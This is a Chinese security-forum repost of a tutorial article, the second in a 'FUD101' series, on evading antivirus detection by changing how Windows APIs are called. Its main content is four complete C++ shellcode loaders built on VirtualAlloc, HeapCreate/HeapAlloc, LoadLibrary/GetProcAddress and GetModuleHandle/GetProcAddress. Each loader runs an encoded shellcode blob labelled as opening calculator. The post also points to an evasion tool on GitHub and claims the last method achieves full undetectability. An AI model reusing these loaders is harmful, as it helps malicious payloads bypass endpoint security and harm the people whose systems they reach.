安全矩阵

 找回密码
 立即注册
搜索
查看: 1669|回复: 0

执行方式免杀之调用 API(FUD101连载二)

[复制链接]

114

主题

158

帖子

640

积分

高级会员

Rank: 4

积分
640
发表于 2020-7-16 21:47:07 | 显示全部楼层 |阅读模式
本帖最后由 Xor0ne 于 2020-7-17 09:53 编辑

执行方式免杀之调用 API(FUD101连载二)原创 1y0n

来自公众号雷神众测
原文链接:https://mp.weixin.qq.com/s?__biz ... 8a1fcbc183d841c4#rd



声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
前言
针对本篇及后续文章中用到的部分技术,我已经写好了相关代码,用于快速生成免杀的可执行程序,源代码放在了(github)[https://github.com/1y0n/AV_Evasion_Tool]上,也可以直接下载编译好的(程序)[https://github.com/1y0n/AV_Evasion_Tool/releases]
工具界面如下:


效果如下:

注意:本章节中所有代码均为 C++,开发环境为 VS2019
在这一章节中,我们将学习几种常见的 API 及他们的调用方式。
首先需要了解几个名词:
API: 应用程序接口API为“‘电脑操作系统(Operating system)’或‘程序库’提供给应用程序调用使用的代码”。其主要目的是让应用程序开发人员得以调用一组例程功能,而无须考虑其底层的源代码为何、或理解其内部工作机制的细节。API本身是抽象的,它仅定义了一个接口,而不涉及应用程序在实际实现过程中的具体操作。(来自维基百科)
IAT: IAT的全称是Import Address Table。IAT表是执行程序或者dll为了实现动态加载和重定位函数地址,用到的一个导入函数地址表。这里面记录了每个导入函数的名字和所在的dll名称,在pe加载的时候系统会加载这些dll到用户的地址空间然后把函数地址覆盖这个表里的函数地址,然后重构所有用到这个表的代码,让其调用直接指向实际函数地址(PE是否覆盖不确定,驱动会这么做),PE的IAT表会留在内存,驱动的就丢弃了。(来自CSDN)

使用 PEview 可以看到一个程序的 IAT,杀毒软件在进行查杀时,IAT 也是查杀的一个重要依据。



No.1
VirtualAlloc
VirtualAlloc 主要用于申请一块内存,其官方定义如下:
LPVOID VirtualAlloc{
    LPVOID lpAddress, // 要分配的内存区域的地址
    DWORD dwSize, // 分配的大小
    DWORD flAllocationType, // 分配的类型
    DWORD flProtect // 该内存的初始保护属性
};

https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc
以下是网上最常见的一种代码:
# include <windows.h>  

# include <stdio.h>  



//打开Windows计算器

unsigned char shellcode[] = "\x2b\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x65\x87\xbe\xd4\x83\xee\xfc\xe2\xf4\x99\x6f\x3c\xd4\x65\x87\xde\x5d\x80\xb6\x7e\xb0\xee\xd7\x8e\x5f\x37\x8b\x35\x86\x71\x0c\xcc\xfc\x6a\x30\xf4\xf2\x54\x78\x12\xe8\x04\xfb\xbc\xf8\x45\x46\x71\xd9\x64\x40\x5c\x26\x37\xd0\x35\x86\x75\x0c\xf4\xe8\xee\xcb\xaf\xac\x86\xcf\xbf\x05\x34\x0c\xe7\xf4\x64\x54\x35\x9d\x7d\x64\x84\x9d\xee\xb3\x35\xd5\xb3\xb6\x41\x78\xa4\x48\xb3\xd5\xa2\xbf\x5e\xa1\x93\x84\xc3\x2c\x5e\xfa\x9a\xa1\x81\xdf\x35\x8c\x41\x86\x6d\xb2\xee\x8b\xf5\x5f\x3d\x9b\xbf\x07\xee\x83\x35\xd5\xb5\x0e\xfa\xf0\x41\xdc\xe5\xb5\x3c\xdd\xef\x2b\x85\xd8\xe1\x8e\xee\x95\x55\x59\x38\xed\xbf\x59\xe0\x35\xbe\xd4\x65\xd7\xd6\xe5\xee\xe8\x39\x2b\xb0\x3c\x4e\x61\xc7\xd1\xd6\x72\xf0\x3a\x23\x2b\xb0\xbb\xb8\xa8\x6f\x07\x45\x34\x10\x82\x05\x93\x76\xf5\xd1\xbe\x65\xd4\x41\x01\x06\xe6\xd2\xb7\x4b\xe2\xc6\xb1\x65\x87\xbe\xd4";

void main(){

    char* p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    memcpy(p, shellcode, sizeof(shellcode));
    (*(void(*)())p)();

}






执行流程为首先用 VirtualAlloc 申请内存,memecpy 复制 shellcode 到这块内存中,最后执行。免杀效果一般(不考虑 shellcode 的影响),它的 IAT 如图:


VirtualAlloc 事实上被杀软重点监控了,我们就可以直接想到一个思路,使用其他的 API 代替 VirtualAlloc 。

No.2
替换 VirtualAlloc
有几个 API 可以替换 VirtualAlloc,下面一一列举。
HeapCreate/HeapAlloc
HeapCreate 官方定义:
[/quote][quote]HANDLE HeapCreate(
     DWORD  flOptions,    //堆分配标志
     SIZE_T dwInitialSize, //初始堆大小  
     SIZE_T dwMaximumSize  //最大堆大小

);

HeapAlloc 官方定义:

DECLSPEC_ALLOCATOR LPVOID HeapAlloc(
     HANDLE hHeap,      //处理私有堆块
     DWORD  dwFlags,    //堆分配控制标志
     SIZE_T dwBytes     //要分配的字节数

);




经过测试,这种方式比 VirtualAlloc 检出率还高……不过还是贴一下代码吧:
[/quote][quote]# include <windows.h>  

# include <stdio.h>  



void main(){

    unsigned char code[] = "\x2b\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x65\x87\xbe\xd4\x83\xee\xfc\xe2\xf4\x99\x6f\x3c\xd4\x65\x87\xde\x5d\x80\xb6\x7e\xb0\xee\xd7\x8e\x5f\x37\x8b\x35\x86\x71\x0c\xcc\xfc\x6a\x30\xf4\xf2\x54\x78\x12\xe8\x04\xfb\xbc\xf8\x45\x46\x71\xd9\x64\x40\x5c\x26\x37\xd0\x35\x86\x75\x0c\xf4\xe8\xee\xcb\xaf\xac\x86\xcf\xbf\x05\x34\x0c\xe7\xf4\x64\x54\x35\x9d\x7d\x64\x84\x9d\xee\xb3\x35\xd5\xb3\xb6\x41\x78\xa4\x48\xb3\xd5\xa2\xbf\x5e\xa1\x93\x84\xc3\x2c\x5e\xfa\x9a\xa1\x81\xdf\x35\x8c\x41\x86\x6d\xb2\xee\x8b\xf5\x5f\x3d\x9b\xbf\x07\xee\x83\x35\xd5\xb5\x0e\xfa\xf0\x41\xdc\xe5\xb5\x3c\xdd\xef\x2b\x85\xd8\xe1\x8e\xee\x95\x55\x59\x38\xed\xbf\x59\xe0\x35\xbe\xd4\x65\xd7\xd6\xe5\xee\xe8\x39\x2b\xb0\x3c\x4e\x61\xc7\xd1\xd6\x72\xf0\x3a\x23\x2b\xb0\xbb\xb8\xa8\x6f\x07\x45\x34\x10\x82\x05\x93\x76\xf5\xd1\xbe\x65\xd4\x41\x01\x06\xe6\xd2\xb7\x4b\xe2\xc6\xb1\x65\x87\xbe\xd4";


    HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(code), sizeof(code));

    char* BUFFER = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(code));

    memcpy(BUFFER, code, sizeof(code));
    (*(void(*)())BUFFER)();

}



LoadLibrary/GetProcAddress
LoadLibrary 官方定义:
[/quote][quote]HMODULE LoadLibraryA(
     LPCSTR lpLibFileName   //文件名

);

GetProcAddress 官方定义:

FARPROC GetProcAddress(
     HMODULE hModule,     //DLL句柄
     LPCSTR  lpProcName   //函数名称

);


方法是:用 LoadLibrary 函数加载动态链接库到内存,用 GetProcAddress函数动态获得 DLL 函数的入口地址。当一个 DLL 文件用 LoadLibrary 显式加载后,在任何时刻均可以通过调用 FreeLibrary 函数显式地从内存中把它给卸载。这种方法比 VirtualAlloc 效果好一点。
[/quote][quote]# include <windows.h>  

# include <stdio.h>  



void main(){

    typedef LPVOID(WINAPI* VirtualAllocB)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
    VirtualAllocB p = (VirtualAllocB)GetProcAddress(LoadLibrary("kernel32"), "VirtualAlloc");

    unsigned char code[] = "\x2b\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x65\x87\xbe\xd4\x83\xee\xfc\xe2\xf4\x99\x6f\x3c\xd4\x65\x87\xde\x5d\x80\xb6\x7e\xb0\xee\xd7\x8e\x5f\x37\x8b\x35\x86\x71\x0c\xcc\xfc\x6a\x30\xf4\xf2\x54\x78\x12\xe8\x04\xfb\xbc\xf8\x45\x46\x71\xd9\x64\x40\x5c\x26\x37\xd0\x35\x86\x75\x0c\xf4\xe8\xee\xcb\xaf\xac\x86\xcf\xbf\x05\x34\x0c\xe7\xf4\x64\x54\x35\x9d\x7d\x64\x84\x9d\xee\xb3\x35\xd5\xb3\xb6\x41\x78\xa4\x48\xb3\xd5\xa2\xbf\x5e\xa1\x93\x84\xc3\x2c\x5e\xfa\x9a\xa1\x81\xdf\x35\x8c\x41\x86\x6d\xb2\xee\x8b\xf5\x5f\x3d\x9b\xbf\x07\xee\x83\x35\xd5\xb5\x0e\xfa\xf0\x41\xdc\xe5\xb5\x3c\xdd\xef\x2b\x85\xd8\xe1\x8e\xee\x95\x55\x59\x38\xed\xbf\x59\xe0\x35\xbe\xd4\x65\xd7\xd6\xe5\xee\xe8\x39\x2b\xb0\x3c\x4e\x61\xc7\xd1\xd6\x72\xf0\x3a\x23\x2b\xb0\xbb\xb8\xa8\x6f\x07\x45\x34\x10\x82\x05\x93\x76\xf5\xd1\xbe\x65\xd4\x41\x01\x06\xe6\xd2\xb7\x4b\xe2\xc6\xb1\x65\x87\xbe\xd4";

    char* a = (char*)(*p)(NULL, sizeof(code), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    memcpy(a, code, sizeof(code));

    (*(void(*)())a)();

}




GetModuleHandle/GetProcAddress
GetModuleHandle 官方定义:
[/quote][quote]HMODULE GetModuleHandleA(
     LPCSTR lpModuleName   //文件名

);




方法是:用 GetModuleHandle 函数加载动态链接库到内存,用 GetProcAddress函数动态获得 DLL 函数的入口地址。这种方法比 VirtualAlloc 效果好很多。
[/quote][quote]# include <windows.h>  

# include <stdio.h>  

void main(){  

    typedef LPVOID (WINAPI* VirtualAllocB)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
    VirtualAllocB p = (VirtualAllocB)GetProcAddress(GetModuleHandle("kernel32"), "VirtualAlloc");

    unsigned char code[] = "\x2b\xc9\x83\xe9\xcf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x65\x87\xbe\xd4\x83\xee\xfc\xe2\xf4\x99\x6f\x3c\xd4\x65\x87\xde\x5d\x80\xb6\x7e\xb0\xee\xd7\x8e\x5f\x37\x8b\x35\x86\x71\x0c\xcc\xfc\x6a\x30\xf4\xf2\x54\x78\x12\xe8\x04\xfb\xbc\xf8\x45\x46\x71\xd9\x64\x40\x5c\x26\x37\xd0\x35\x86\x75\x0c\xf4\xe8\xee\xcb\xaf\xac\x86\xcf\xbf\x05\x34\x0c\xe7\xf4\x64\x54\x35\x9d\x7d\x64\x84\x9d\xee\xb3\x35\xd5\xb3\xb6\x41\x78\xa4\x48\xb3\xd5\xa2\xbf\x5e\xa1\x93\x84\xc3\x2c\x5e\xfa\x9a\xa1\x81\xdf\x35\x8c\x41\x86\x6d\xb2\xee\x8b\xf5\x5f\x3d\x9b\xbf\x07\xee\x83\x35\xd5\xb5\x0e\xfa\xf0\x41\xdc\xe5\xb5\x3c\xdd\xef\x2b\x85\xd8\xe1\x8e\xee\x95\x55\x59\x38\xed\xbf\x59\xe0\x35\xbe\xd4\x65\xd7\xd6\xe5\xee\xe8\x39\x2b\xb0\x3c\x4e\x61\xc7\xd1\xd6\x72\xf0\x3a\x23\x2b\xb0\xbb\xb8\xa8\x6f\x07\x45\x34\x10\x82\x05\x93\x76\xf5\xd1\xbe\x65\xd4\x41\x01\x06\xe6\xd2\xb7\x4b\xe2\xc6\xb1\x65\x87\xbe\xd4";

    char* a = (char*)(*p)(NULL, sizeof(code), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    memcpy(a, code, sizeof(code));

    (*(void(*)())a)();

}


以上简单介绍了几个 API 的调用方式,事实上,在实际测试时发现,使用 GetModuleHandle + GetProcAddress + 反沙箱代码,优化以后可以实现 FUD(全免杀) 的效果。
下一章节,我们将开始学习如何使用汇编语言执行 shellcode 。



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 01:46 , Processed in 0.013014 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表